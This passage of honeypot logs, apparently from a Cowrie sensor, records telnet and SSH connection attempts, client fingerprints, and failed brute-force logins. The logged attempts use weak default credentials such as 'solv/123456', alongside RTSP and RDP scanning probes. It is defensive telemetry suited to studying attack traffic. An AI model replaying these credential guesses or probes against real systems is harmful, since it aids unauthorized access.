{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":6032,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3504af2b629","protocol":"telnet","message":"New connection: 34.78.238.2:6032 (159.203.135.109:23) [session: a3504af2b629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:24.538763Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":6042,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2eae7e86834","protocol":"telnet","message":"New connection: 34.78.238.2:6042 (159.203.135.109:23) [session: a2eae7e86834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:24.696121Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":6058,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bbdcf6acca0","protocol":"telnet","message":"New connection: 34.78.238.2:6058 (159.203.135.109:23) [session: 3bbdcf6acca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:24.854924Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":6064,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b4e31414334","protocol":"telnet","message":"New connection: 34.78.238.2:6064 (159.203.135.109:23) [session: 8b4e31414334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:25.010828Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":6070,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d6179c6d6f8","protocol":"telnet","message":"New connection: 34.78.238.2:6070 (159.203.135.109:23) [session: 1d6179c6d6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:25.164500Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:25.169751Z","src_ip":"34.78.238.2","session":"1d6179c6d6f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":6074,"dst_ip":"159.203.135.109","dst_port":23,"session":"d10f982d5cd2","protocol":"telnet","message":"New connection: 34.78.238.2:6074 (159.203.135.109:23) [session: d10f982d5cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:25.327072Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":6082,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9ecb214c411","protocol":"telnet","message":"New connection: 34.78.238.2:6082 (159.203.135.109:23) [session: c9ecb214c411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:25.483265Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":6098,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdac8f8bf7b0","protocol":"telnet","message":"New connection: 34.78.238.2:6098 (159.203.135.109:23) [session: fdac8f8bf7b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:25.638224Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":6114,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c16b12b2560","protocol":"telnet","message":"New connection: 34.78.238.2:6114 (159.203.135.109:23) [session: 0c16b12b2560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:25.792874Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":6116,"dst_ip":"159.203.135.109","dst_port":23,"session":"c89cdd4e8e93","protocol":"telnet","message":"New connection: 34.78.238.2:6116 (159.203.135.109:23) [session: c89cdd4e8e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:25.946716Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":6122,"dst_ip":"159.203.135.109","dst_port":23,"session":"a86a5868d00c","protocol":"telnet","message":"New connection: 34.78.238.2:6122 (159.203.135.109:23) [session: a86a5868d00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:26.100889Z"}
{"eventid":"cowrie.session.closed","duration":0.006562471389770508,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:26.107304Z","src_ip":"34.78.238.2","session":"a86a5868d00c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":6132,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f8603cca018","protocol":"telnet","message":"New connection: 34.78.238.2:6132 (159.203.135.109:23) [session: 0f8603cca018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:26.257926Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.238.2","src_port":6140,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0c13d48ceed","protocol":"telnet","message":"New connection: 34.78.238.2:6140 (159.203.135.109:23) [session: b0c13d48ceed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:26.426966Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 9828","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 9828] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:26.435342Z","src_ip":"34.78.238.2","session":"b0c13d48ceed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.962372779846191,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:41.389232Z","src_ip":"34.78.238.2","session":"b0c13d48ceed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.600757360458374,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:41.393508Z","src_ip":"34.78.238.2","session":"0c16b12b2560","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.14108681678772,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:41.398865Z","src_ip":"34.78.238.2","session":"0f8603cca018","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.455798387527466,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:41.402361Z","src_ip":"34.78.238.2","session":"c89cdd4e8e93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.7675621509552,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:41.405639Z","src_ip":"34.78.238.2","session":"fdac8f8bf7b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.925740003585815,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:41.408869Z","src_ip":"34.78.238.2","session":"c9ecb214c411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.084869146347046,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:41.411798Z","src_ip":"34.78.238.2","session":"d10f982d5cd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.404659032821655,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:41.414859Z","src_ip":"34.78.238.2","session":"8b4e31414334","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.255271196365356,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:41.419629Z","src_ip":"34.78.238.2","session":"1d6179c6d6f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.197407245635986,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:41.422495Z","src_ip":"34.78.238.2","session":"fcc5294ff721","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.57042646408081,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:41.425184Z","src_ip":"34.78.238.2","session":"3bbdcf6acca0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.73182439804077,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:41.427784Z","src_ip":"34.78.238.2","session":"a2eae7e86834","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.891823291778564,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:41.430440Z","src_ip":"34.78.238.2","session":"a3504af2b629","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.050928115844727,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:41.433177Z","src_ip":"34.78.238.2","session":"d57233a25922","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.365153551101685,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:41.436216Z","src_ip":"34.78.238.2","session":"cd12dda5e163","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.522736072540283,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:34:41.439024Z","src_ip":"34.78.238.2","session":"5fd752da85c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":49618,"dst_ip":"10.17.0.5","dst_port":23,"session":"50ca619a6ec6","protocol":"telnet","message":"New connection: 49.88.156.34:49618 (10.17.0.5:23) [session: 50ca619a6ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:35:16.460916Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":40904,"dst_ip":"10.17.0.5","dst_port":22,"session":"d565933642bb","protocol":"ssh","message":"New connection: 2.57.122.238:40904 (10.17.0.5:22) [session: d565933642bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:35:20.263771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:35:20.269144Z","src_ip":"2.57.122.238","session":"d565933642bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:35:20.374449Z","src_ip":"2.57.122.238","session":"d565933642bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:35:20.687954Z","src_ip":"2.57.122.238","session":"d565933642bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:35:21.795897Z","src_ip":"2.57.122.238","session":"d565933642bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59670,"dst_ip":"10.17.0.5","dst_port":23,"session":"58ed8d0c5e79","protocol":"telnet","message":"New connection: 104.245.105.2:59670 (10.17.0.5:23) [session: 58ed8d0c5e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:36:48.371697Z"}
{"eventid":"cowrie.session.closed","duration":120.02919435501099,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:37:16.489988Z","src_ip":"49.88.156.34","session":"50ca619a6ec6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.371291160583496,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:37:22.742893Z","src_ip":"104.245.105.2","session":"58ed8d0c5e79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":44782,"dst_ip":"10.17.0.5","dst_port":22,"session":"23e0b1768003","protocol":"ssh","message":"New connection: 2.57.122.238:44782 (10.17.0.5:22) [session: 23e0b1768003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:37:27.633190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:37:27.637398Z","src_ip":"2.57.122.238","session":"23e0b1768003","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:37:27.737393Z","src_ip":"2.57.122.238","session":"23e0b1768003","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:37:28.039287Z","src_ip":"2.57.122.238","session":"23e0b1768003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:37:29.142769Z","src_ip":"2.57.122.238","session":"23e0b1768003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48554,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6f6e56228ed","protocol":"telnet","message":"New connection: 104.245.105.2:48554 (10.17.0.5:23) [session: c6f6e56228ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:37:35.397887Z"}
{"eventid":"cowrie.session.closed","duration":31.849846601486206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:38:07.247621Z","src_ip":"104.245.105.2","session":"c6f6e56228ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":49212,"dst_ip":"159.203.135.109","dst_port":22,"session":"13f52fb60ea7","protocol":"ssh","message":"New connection: 103.149.252.223:49212 (159.203.135.109:22) [session: 13f52fb60ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:38:21.972712Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:38:21.976984Z","src_ip":"103.149.252.223","session":"13f52fb60ea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:38:21.980273Z","src_ip":"103.149.252.223","session":"13f52fb60ea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44798,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbfa276b2d69","protocol":"telnet","message":"New connection: 104.245.105.2:44798 (10.17.0.5:23) [session: fbfa276b2d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:38:45.263991Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45886,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1bf63f1136e","protocol":"telnet","message":"New connection: 104.245.105.2:45886 (10.17.0.5:23) [session: f1bf63f1136e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:38:52.304240Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45892,"dst_ip":"10.17.0.5","dst_port":23,"session":"5601179a6c07","protocol":"telnet","message":"New connection: 104.245.105.2:45892 (10.17.0.5:23) [session: 5601179a6c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:38:58.887365Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":39924,"dst_ip":"159.203.135.109","dst_port":22,"session":"8662be0f4ec1","protocol":"ssh","message":"New connection: 186.113.245.157:39924 (159.203.135.109:22) [session: 8662be0f4ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:06.863480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:06.868504Z","src_ip":"186.113.245.157","session":"8662be0f4ec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:06.972564Z","src_ip":"186.113.245.157","session":"8662be0f4ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vuser","password":"123456","message":"login attempt [vuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:07.389785Z","src_ip":"186.113.245.157","session":"8662be0f4ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:08.488531Z","src_ip":"186.113.245.157","session":"8662be0f4ec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":29985,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ca026c49a08","protocol":"ssh","message":"New connection: 193.24.211.95:29985 (159.203.135.109:22) [session: 4ca026c49a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:15.585047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:15.593344Z","src_ip":"193.24.211.95","session":"4ca026c49a08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.